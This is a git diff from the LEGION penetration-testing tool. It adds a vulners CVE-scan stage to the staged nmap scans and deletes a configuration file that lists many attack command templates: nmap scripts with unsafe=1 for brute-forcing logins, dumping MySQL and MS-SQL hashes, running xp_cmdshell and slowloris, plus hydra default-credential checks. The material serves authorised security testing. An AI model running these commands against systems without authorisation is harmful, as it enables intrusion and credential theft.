"T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434" - self.tools_nmap_stage3_ports = "T:23,21,22,110,111,2049,3389,8080,U:500,5060" - self.tools_nmap_stage4_ports = "T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999" - self.tools_nmap_stage5_ports = "T:30000-65535" + self.tools_nmap_stage3_ports = "Vulners,CVE" + self.tools_nmap_stage4_ports = "T:23,21,22,110,111,2049,3389,8080,U:500,5060" + self.tools_nmap_stage5_ports = "T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999" + self.tools_nmap_stage6_ports = "T:30000-65535" self.tools_path_nmap = "/sbin/nmap" self.tools_path_hydra = "/usr/bin/hydra" @@ -286,6 +288,7 @@ def __init__(self, appSettings=None): self.tools_nmap_stage3_ports = self.stagedNmapSettings['stage3-ports'] self.tools_nmap_stage4_ports = self.stagedNmapSettings['stage4-ports'] self.tools_nmap_stage5_ports = self.stagedNmapSettings['stage5-ports'] + self.tools_nmap_stage6_ports = self.stagedNmapSettings['stage6-ports'] self.tools_path_nmap = self.toolSettings['nmap-path'] self.tools_path_hydra = self.toolSettings['hydra-path'] diff --git a/controller/controller.py b/controller/controller.py index 59a9b975..4dbc8a41 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,7 +28,7 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.1' - self.build = '1551199043' + self.build = '1551201971' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] @@ -621,7 +621,7 @@ def handleProcUpdate(*vargs): qProcess.error.connect(lambda: self.processCrashed(qProcess)) log.info("runCommand called for stage {0}".format(str(stage))) - if stage > 0 and stage < 5: # if this is a staged nmap, launch the next stage + if stage > 0 and stage < 6: # if this is a staged nmap, launch the next stage log.info("runCommand connected for stage {0}".format(str(stage))) nextStage = stage + 1 qProcess.finished.connect(lambda: self.runStagedNmap(str(hostip), discovery = discovery, stage = nextStage, stop = self.logic.isKilledProcess(str(qProcess.id)))) @@ -672,25 +672,29 @@ def runStagedNmap(self, targetHosts, discovery = True, stage = 1, stop = False): ports = self.settings.tools_nmap_stage1_ports elif stage == 2: # juicy stuff that we could enumerate + db ports = self.settings.tools_nmap_stage2_ports - elif stage == 3: # bruteforceable protocols + portmapper + nfs - ports = self.settings.tools_nmap_stage3_ports - elif stage == 4: # first 30000 ports except ones above + elif stage == 4: # bruteforceable protocols + portmapper + nfs ports = self.settings.tools_nmap_stage4_ports - else: # last 35535 ports + elif stage == 5: # first 30000 ports except ones above ports = self.settings.tools_nmap_stage5_ports + else: # last 35535 ports + ports = self.settings.tools_nmap_stage6_ports command = "nmap " if not discovery: # is it with/without host discovery? command += "-Pn " command += "-T4 -sC " - if not stage == 1: + if not stage == 1 and not stage == 3: command += "-n " # only do DNS resolution on first stage if os.geteuid() == 0: # if we are root we can run SYN + UDP scans command += "-sSU " if stage == 2: - command += "-O " # only check for OS once to save time and only if we are root otherwise it fails + command += '-O ' # only check for OS once to save time and only if we are root otherwise it fail + else: + command += '-sT ' + + if stage != 3: + command += '-p ' + ports + ' ' + targetHosts + ' -oA ' + outputfile else: - command += "-sT " - command += "-p "+ports+' '+targetHosts+" -oA "+outputfile + command = 'nmap -sV --script=./scripts/nmap/vulners.nse -vvvv ' + targetHosts + ' -oA ' + outputfile self.runCommand('nmap','nmap (stage '+str(stage)+')', str(targetHosts), '', '', command, getTimestamp(True), outputfile, textbox, discovery = discovery, stage = stage, stop = stop) diff --git a/legion.conf b/legion.conf index 4e415d72..2e00f030 100644 --- a/legion.conf +++ b/legion.conf @@ -9,7 +9,7 @@ store-cleartext-passwords-on-exit=True username-wordlist-path=/usr/share/wordlists/ [GUISettings] -process-tab-column-widths="125,0,55,92,32,0,124,130,0,0,0,0,0,0,0,608,100" +process-tab-column-widths="125,0,74,92,67,0,124,130,0,0,0,0,0,0,0,544,100" process-tab-detail=False [GeneralSettings] @@ -305,9 +305,10 @@ x11screen=X11, tcp [StagedNmapSettings] stage1-ports="T:80,443" stage2-ports="T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434" -stage3-ports="T:23,21,22,110,111,2049,3389,8080,U:500,5060" -stage4-ports="T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999" -stage5-ports="T:30000-65534,65535" +stage3-ports="Vulners,CVE" +stage4-ports="T:23,21,22,110,111,2049,3389,8080,U:500,5060" +stage5-ports="T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999" +stage6-ports="T:30000-65534,65535" [ToolSettings] cutycapt-path=/usr/bin/cutycapt diff --git a/legion.max.conf b/legion.max.conf deleted file mode 100644 index fc2e986e..00000000 --- a/legion.max.conf +++ /dev/null @@ -1,389 +0,0 @@ -[BruteSettings] -default-password=password -default-username=root -no-password-services="oracle-sid,rsh,smtp-enum" -no-username-services="cisco,cisco-enable,oracle-listener,s7-300,snmp,vnc" -password-wordlist-path=/usr/share/wordlists/ -services="asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-get-form,http-post-form,https-get-form,https-post-form,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp" -store-cleartext-passwords-on-exit=True -username-wordlist-path=/usr/share/wordlists/ - -[GUISettings] -process-tab-column-widths="125,0,100,150,100,100,100,100,100,100,100,100,0,100,0,100,100" - -[GeneralSettings] -default-terminal=gnome-terminal -enable-scheduler=True -enable-scheduler-on-import=False -max-fast-processes=5 -max-slow-processes=5 -screenshooter-timeout=15000 -tool-output-black-background=False -web-services="http,https,ssl,soap,http-proxy,http-alt,https-alt" - -[HostActions] -icmp-timestamp=ICMP timestamp, hping3 -V -C 13 -c 1 [IP] -nmap-discover=Run nmap-discover, nmap -n -sV -O --version-light -T4 [IP] -oA \"[OUTPUT]\" -nmap-fast-tcp=Run nmap (fast TCP), nmap -Pn -sV -sC -F -T4 -vvvv [IP] -oA \"[OUTPUT]\" -nmap-fast-udp=Run nmap (fast UDP), "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" -nmap-full-tcp=Run nmap (full TCP), nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" -nmap-full-udp=Run nmap (full UDP), nmap -n -Pn -sU -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" -nmap-script-Vulners=Run nmap script - Vulners, "nmap -sV --script=./scripts/nmap/vulners.nse -vvvv [IP] -oA \"[OUTPUT]\"" -nmap-udp-1000=Run nmap (top 1000 quick UDP), "nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\"" -unicornscan-full-udp=Run unicornscan (full UDP), unicornscan -mU -Ir 1000 [IP]:a -v - -[PortActions] -banner=Grab banner, bash -c \"echo \"\" | nc -v -n -w1 [IP] [PORT]\", -broadcast-ms-sql-discover.nse=broadcast-ms-sql-discover.nse, "nmap -Pn [IP] -p [PORT] --script=broadcast-ms-sql-discover.nse --script-args=unsafe=1", ms-sql -citrix-brute-xml.nse=citrix-brute-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-brute-xml.nse --script-args=unsafe=1", citrix -citrix-enum-apps-xml.nse=citrix-enum-apps-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps-xml.nse --script-args=unsafe=1", citrix -citrix-enum-apps.nse=citrix-enum-apps.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps.nse --script-args=unsafe=1", citrix -citrix-enum-servers-xml.nse=citrix-enum-servers-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers-xml.nse --script-args=unsafe=1", citrix -citrix-enum-servers.nse=citrix-enum-servers.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers.nse --script-args=unsafe=1", citrix -dirbuster=Launch dirbuster, java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/, "http,https,ssl,soap,http-proxy,http-alt" -enum4linux=Run enum4linux, enum4linux [IP], "netbios-ssn,microsoft-ds" -finger=Enumerate users (finger), ./scripts/fingertool.sh [IP], finger -ftp-anon.nse=ftp-anon.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-anon.nse --script-args=unsafe=1", ftp -ftp-bounce.nse=ftp-bounce.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-bounce.nse --script-args=unsafe=1", ftp -ftp-brute.nse=ftp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-brute.nse --script-args=unsafe=1", ftp -ftp-default=Check for default ftp credentials, hydra -s [PORT] -C ./wordlists/ftp-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] ftp, ftp -ftp-libopie.nse=ftp-libopie.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-libopie.nse --script-args=unsafe=1", ftp -ftp-proftpd-backdoor.nse=ftp-proftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-proftpd-backdoor.nse --script-args=unsafe=1", ftp -ftp-vsftpd-backdoor.nse=ftp-vsftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vsftpd-backdoor.nse --script-args=unsafe=1", ftp -ftp-vuln-cve2010-4221.nse=ftp-vuln-cve2010-4221.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vuln-cve2010-4221.nse --script-args=unsafe=1", ftp -http-adobe-coldfusion-apsa1301.nse=http-adobe-coldfusion-apsa1301.nse, "nmap -Pn [IP] -p [PORT] --script=http-adobe-coldfusion-apsa1301.nse --script-args=unsafe=1", "http,https" -http-affiliate-id.nse=http-affiliate-id.nse, "nmap -Pn [IP] -p [PORT] --script=http-affiliate-id.nse --script-args=unsafe=1", "http,https" -http-apache-negotiation.nse=http-apache-negotiation.nse, "nmap -Pn [IP] -p [PORT] --script=http-apache-negotiation.nse --script-args=unsafe=1", "http,https" -http-auth-finder.nse=http-auth-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth-finder.nse --script-args=unsafe=1", "http,https" -http-auth.nse=http-auth.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth.nse --script-args=unsafe=1", "http,https" -http-awstatstotals-exec.nse=http-awstatstotals-exec.nse, "nmap -Pn [IP] -p [PORT] --script=http-awstatstotals-exec.nse --script-args=unsafe=1", "http,https" -http-axis2-dir-traversal.nse=http-axis2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-axis2-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-backup-finder.nse=http-backup-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-backup-finder.nse --script-args=unsafe=1", "http,https" -http-barracuda-dir-traversal.nse=http-barracuda-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-barracuda-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-brute.nse=http-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-brute.nse --script-args=unsafe=1", "http,https" -http-cakephp-version.nse=http-cakephp-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-cakephp-version.nse --script-args=unsafe=1", "http,https" -http-chrono.nse=http-chrono.nse, "nmap -Pn [IP] -p [PORT] --script=http-chrono.nse --script-args=unsafe=1", "http,https" -http-coldfusion-subzero.nse=http-coldfusion-subzero.nse, "nmap -Pn [IP] -p [PORT] --script=http-coldfusion-subzero.nse --script-args=unsafe=1", "http,https" -http-comments-displayer.nse=http-comments-displayer.nse, "nmap -Pn [IP] -p [PORT] --script=http-comments-displayer.nse --script-args=unsafe=1", "http,https" -http-config-backup.nse=http-config-backup.nse, "nmap -Pn [IP] -p [PORT] --script=http-config-backup.nse --script-args=unsafe=1", "http,https" -http-cors.nse=http-cors.nse, "nmap -Pn [IP] -p [PORT] --script=http-cors.nse --script-args=unsafe=1", "http,https" -http-csrf.nse=http-csrf.nse, "nmap -Pn [IP] -p [PORT] --script=http-csrf.nse --script-args=unsafe=1", "http,https" -http-date.nse=http-date.nse, "nmap -Pn [IP] -p [PORT] --script=http-date.nse --script-args=unsafe=1", "http,https" -http-default-accounts.nse=http-default-accounts.nse, "nmap -Pn [IP] -p [PORT] --script=http-default-accounts.nse --script-args=unsafe=1", "http,https" -http-devframework.nse=http-devframework.nse, "nmap -Pn [IP] -p [PORT] --script=http-devframework.nse --script-args=unsafe=1", "http,https" -http-dlink-backdoor.nse=http-dlink-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=http-dlink-backdoor.nse --script-args=unsafe=1", "http,https" -http-dombased-xss.nse=http-dombased-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-dombased-xss.nse --script-args=unsafe=1", "http,https" -http-domino-enum-passwords.nse=http-domino-enum-passwords.nse, "nmap -Pn [IP] -p [PORT] --script=http-domino-enum-passwords.nse --script-args=unsafe=1", "http,https" -http-drupal-enum-users.nse=http-drupal-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-enum-users.nse --script-args=unsafe=1", "http,https" -http-drupal-modules.nse=http-drupal-modules.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-modules.nse --script-args=unsafe=1", "http,https" -http-email-harvest.nse=http-email-harvest.nse, "nmap -Pn [IP] -p [PORT] --script=http-email-harvest.nse --script-args=unsafe=1", "http,https" -http-enum.nse=http-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-enum.nse --script-args=unsafe=1", "http,https" -http-errors.nse=http-errors.nse, "nmap -Pn [IP] -p [PORT] --script=http-errors.nse --script-args=unsafe=1", "http,https" -http-exif-spider.nse=http-exif-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-exif-spider.nse --script-args=unsafe=1", "http,https" -http-favicon.nse=http-favicon.nse, "nmap -Pn [IP] -p [PORT] --script=http-favicon.nse --script-args=unsafe=1", "http,https" -http-feed.nse=http-feed.nse, "nmap -Pn [IP] -p [PORT] --script=http-feed.nse --script-args=unsafe=1", "http,https" -http-fileupload-exploiter.nse=http-fileupload-exploiter.nse, "nmap -Pn [IP] -p [PORT] --script=http-fileupload-exploiter.nse --script-args=unsafe=1", "http,https" -http-form-brute.nse=http-form-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-brute.nse --script-args=unsafe=1", "http,https" -http-form-fuzzer.nse=http-form-fuzzer.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-fuzzer.nse --script-args=unsafe=1", "http,https" -http-frontpage-login.nse=http-frontpage-login.nse, "nmap -Pn [IP] -p [PORT] --script=http-frontpage-login.nse --script-args=unsafe=1", "http,https" -http-generator.nse=http-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-generator.nse --script-args=unsafe=1", "http,https" -http-git.nse=http-git.nse, "nmap -Pn [IP] -p [PORT] --script=http-git.nse --script-args=unsafe=1", "http,https" -http-gitweb-projects-enum.nse=http-gitweb-projects-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-gitweb-projects-enum.nse --script-args=unsafe=1", "http,https" -http-google-malware.nse=http-google-malware.nse, "nmap -Pn [IP] -p [PORT] --script=http-google-malware.nse --script-args=unsafe=1", "http,https" -http-grep.nse=http-grep.nse, "nmap -Pn [IP] -p [PORT] --script=http-grep.nse --script-args=unsafe=1", "http,https" -http-headers.nse=http-headers.nse, "nmap -Pn [IP] -p [PORT] --script=http-headers.nse --script-args=unsafe=1", "http,https" -http-huawei-hg5xx-vuln.nse=http-huawei-hg5xx-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-huawei-hg5xx-vuln.nse --script-args=unsafe=1", "http,https" -http-icloud-findmyiphone.nse=http-icloud-findmyiphone.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-findmyiphone.nse --script-args=unsafe=1", "http,https" -http-icloud-sendmsg.nse=http-icloud-sendmsg.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-sendmsg.nse --script-args=unsafe=1", "http,https" -http-iis-short-name-brute.nse=http-iis-short-name-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-short-name-brute.nse --script-args=unsafe=1", "http,https" -http-iis-webdav-vuln.nse=http-iis-webdav-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-webdav-vuln.nse --script-args=unsafe=1", "http,https" -http-joomla-brute.nse=http-joomla-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-joomla-brute.nse --script-args=unsafe=1", "http,https" -http-litespeed-sourcecode-download.nse=http-litespeed-sourcecode-download.nse, "nmap -Pn [IP] -p [PORT] --script=http-litespeed-sourcecode-download.nse --script-args=unsafe=1", "http,https" -http-majordomo2-dir-traversal.nse=http-majordomo2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-majordomo2-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-malware-host.nse=http-malware-host.nse, "nmap -Pn [IP] -p [PORT] --script=http-malware-host.nse --script-args=unsafe=1", "http,https" -http-method-tamper.nse=http-method-tamper.nse, "nmap -Pn [IP] -p [PORT] --script=http-method-tamper.nse --script-args=unsafe=1", "http,https" -http-methods.nse=http-methods.nse, "nmap -Pn [IP] -p [PORT] --script=http-methods.nse --script-args=unsafe=1", "http,https" -http-mobileversion-checker.nse=http-mobileversion-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-mobileversion-checker.nse --script-args=unsafe=1", "http,https" -http-ntlm-info.nse=http-ntlm-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-ntlm-info.nse --script-args=unsafe=1", "http,https" -http-open-proxy.nse=http-open-proxy.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-proxy.nse --script-args=unsafe=1", "http,https" -http-open-redirect.nse=http-open-redirect.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-redirect.nse --script-args=unsafe=1", "http,https" -http-passwd.nse=http-passwd.nse, "nmap -Pn [IP] -p [PORT] --script=http-passwd.nse --script-args=unsafe=1", "http,https" -http-php-version.nse=http-php-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-php-version.nse --script-args=unsafe=1", "http,https" -http-phpmyadmin-dir-traversal.nse=http-phpmyadmin-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpmyadmin-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-phpself-xss.nse=http-phpself-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpself-xss.nse --script-args=unsafe=1", "http,https" -http-proxy-brute.nse=http-proxy-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-proxy-brute.nse --script-args=unsafe=1", "http,https" -http-put.nse=http-put.nse, "nmap -Pn [IP] -p [PORT] --script=http-put.nse --script-args=unsafe=1", "http,https" -http-qnap-nas-info.nse=http-qnap-nas-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-qnap-nas-info.nse --script-args=unsafe=1", "http,https" -http-referer-checker.nse=http-referer-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-referer-checker.nse --script-args=unsafe=1", "http,https" -http-rfi-spider.nse=http-rfi-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-rfi-spider.nse --script-args=unsafe=1", "http,https" -http-robots.txt.nse=http-robots.txt.nse, "nmap -Pn [IP] -p [PORT] --script=http-robots.txt.nse --script-args=unsafe=1", "http,https" -http-robtex-reverse-ip.nse=http-robtex-reverse-ip.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-reverse-ip.nse --script-args=unsafe=1", "http,https" -http-robtex-shared-ns.nse=http-robtex-shared-ns.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-shared-ns.nse --script-args=unsafe=1", "http,https" -http-server-header.nse=http-server-header.nse, "nmap -Pn [IP] -p [PORT] --script=http-server-header.nse --script-args=unsafe=1", "http,https" -http-sitemap-generator.nse=http-sitemap-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-sitemap-generator.nse --script-args=unsafe=1", "http,https" -http-slowloris-check.nse=http-slowloris-check.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris-check.nse --script-args=unsafe=1", "http,https" -http-slowloris.nse=http-slowloris.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris.nse --script-args=unsafe=1", "http,https" -http-sql-injection.nse=http-sql-injection.nse, "nmap -Pn [IP] -p [PORT] --script=http-sql-injection.nse --script-args=unsafe=1", "http,https" -http-stored-xss.nse=http-stored-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-stored-xss.nse --script-args=unsafe=1", "http,https" -http-title.nse=http-title.nse, "nmap -Pn [IP] -p [PORT] --script=http-title.nse --script-args=unsafe=1", "http,https" -http-tplink-dir-traversal.nse=http-tplink-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-tplink-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-trace.nse=http-trace.nse, "nmap -Pn [IP] -p [PORT] --script=http-trace.nse --script-args=unsafe=1", "http,https" -http-traceroute.nse=http-traceroute.nse, "nmap -Pn [IP] -p [PORT] --script=http-traceroute.nse --script-args=unsafe=1", "http,https" -http-unsafe-output-escaping.nse=http-unsafe-output-escaping.nse, "nmap -Pn [IP] -p [PORT] --script=http-unsafe-output-escaping.nse --script-args=unsafe=1", "http,https" -http-useragent-tester.nse=http-useragent-tester.nse, "nmap -Pn [IP] -p [PORT] --script=http-useragent-tester.nse --script-args=unsafe=1", "http,https" -http-userdir-enum.nse=http-userdir-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-userdir-enum.nse --script-args=unsafe=1", "http,https" -http-vhosts.nse=http-vhosts.nse, "nmap -Pn [IP] -p [PORT] --script=http-vhosts.nse --script-args=unsafe=1", "http,https" -http-virustotal.nse=http-virustotal.nse, "nmap -Pn [IP] -p [PORT] --script=http-virustotal.nse --script-args=unsafe=1", "http,https" -http-vlcstreamer-ls.nse=http-vlcstreamer-ls.nse, "nmap -Pn [IP] -p [PORT] --script=http-vlcstreamer-ls.nse --script-args=unsafe=1", "http,https" -http-vmware-path-vuln.nse=http-vmware-path-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-vmware-path-vuln.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2009-3960.nse=http-vuln-cve2009-3960.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2009-3960.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2010-0738.nse=http-vuln-cve2010-0738.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-0738.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2010-2861.nse=http-vuln-cve2010-2861.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-2861.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2011-3192.nse=http-vuln-cve2011-3192.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3192.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2011-3368.nse=http-vuln-cve2011-3368.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3368.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2012-1823.nse=http-vuln-cve2012-1823.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2012-1823.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2013-0156.nse=http-vuln-cve2013-0156.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2013-0156.nse --script-args=unsafe=1", "http,https" -http-vuln-zimbra-lfi.nse=http-vuln-zimbra-lfi.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-zimbra-lfi.nse --script-args=unsafe=1", "http,https" -http-waf-detect.nse=http-waf-detect.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-detect.nse --script-args=unsafe=1", "http,https" -http-waf-fingerprint.nse=http-waf-fingerprint.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-fingerprint.nse --script-args=unsafe=1", "http,https" -http-wordpress-brute.nse=http-wordpress-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-brute.nse --script-args=unsafe=1", "http,https" -http-wordpress-enum.nse=http-wordpress-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-enum.nse --script-args=unsafe=1", "http,https" -http-wordpress-plugins.nse=http-wordpress-plugins.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-plugins.nse --script-args=unsafe=1", "http,https" -http-xssed.nse=http-xssed.nse, "nmap -Pn [IP] -p [PORT] --script=http-xssed.nse --script-args=unsafe=1", "http,https" -imap-brute.nse=imap-brute.nse, "nmap -Pn [IP] -p [PORT] --script=imap-brute.nse --script-args=unsafe=1", imap -imap-capabilities.nse=imap-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=imap-capabilities.nse --script-args=unsafe=1", imap -irc-botnet-channels.nse=irc-botnet-channels.nse, "nmap -Pn [IP] -p [PORT] --script=irc-botnet-channels.nse --script-args=unsafe=1", irc -irc-brute.nse=irc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-brute.nse --script-args=unsafe=1", irc -irc-info.nse=irc-info.nse, "nmap -Pn [IP] -p [PORT] --script=irc-info.nse --script-args=unsafe=1", irc -irc-sasl-brute.nse=irc-sasl-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-sasl-brute.nse --script-args=unsafe=1", irc -irc-unrealircd-backdoor.nse=irc-unrealircd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=irc-unrealircd-backdoor.nse --script-args=unsafe=1", irc -ldapsearch=Run ldapsearch, ldapsearch -h [IP] -p [PORT] -x -s base, ldap -membase-http-info.nse=membase-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=membase-http-info.nse --script-args=unsafe=1", "http,https" -ms-sql-brute.nse=ms-sql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-brute.nse --script-args=unsafe=1", ms-sql -ms-sql-config.nse=ms-sql-config.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-config.nse --script-args=unsafe=1", ms-sql -ms-sql-dac.nse=ms-sql-dac.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dac.nse --script-args=unsafe=1", ms-sql -ms-sql-dump-hashes.nse=ms-sql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dump-hashes.nse --script-args=unsafe=1", ms-sql -ms-sql-empty-password.nse=ms-sql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-empty-password.nse --script-args=unsafe=1", ms-sql -ms-sql-hasdbaccess.nse=ms-sql-hasdbaccess.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-hasdbaccess.nse --script-args=unsafe=1", ms-sql -ms-sql-info.nse=ms-sql-info.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-info.nse --script-args=unsafe=1", ms-sql -ms-sql-query.nse=ms-sql-query.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-query.nse --script-args=unsafe=1", ms-sql -ms-sql-tables.nse=ms-sql-tables.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-tables.nse --script-args=unsafe=1", ms-sql -ms-sql-xp-cmdshell.nse=ms-sql-xp-cmdshell.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-xp-cmdshell.nse --script-args=unsafe=1", ms-sql -msrpc-enum.nse=msrpc-enum.nse, "nmap -Pn [IP] -p [PORT] --script=msrpc-enum.nse --script-args=unsafe=1", msrpc -mssql-default=Check for default mssql credentials, hydra -s [PORT] -C ./wordlists/mssql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mssql, ms-sql-s -mysql-audit.nse=mysql-audit.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-audit.nse --script-args=unsafe=1", mysql -mysql-brute.nse=mysql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-brute.nse --script-args=unsafe=1", mysql -mysql-databases.nse=mysql-databases.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-databases.nse --script-args=unsafe=1", mysql -mysql-default=Check for default mysql credentials, hydra -s [PORT] -C ./wordlists/mysql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mysql, mysql -mysql-dump-hashes.nse=mysql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-dump-hashes.nse --script-args=unsafe=1", mysql -mysql-empty-password.nse=mysql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-empty-password.nse --script-args=unsafe=1", mysql -mysql-enum.nse=mysql-enum.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-enum.nse --script-args=unsafe=1", mysql -mysql-info.nse=mysql-info.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-info.nse --script-args=unsafe=1", mysql -mysql-query.nse=mysql-query.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-query.nse --script-args=unsafe=1", mysql -mysql-users.nse=mysql-users.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-users.nse --script-args=unsafe=1", mysql -mysql-variables.nse=mysql-variables.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-variables.nse --script-args=unsafe=1", mysql 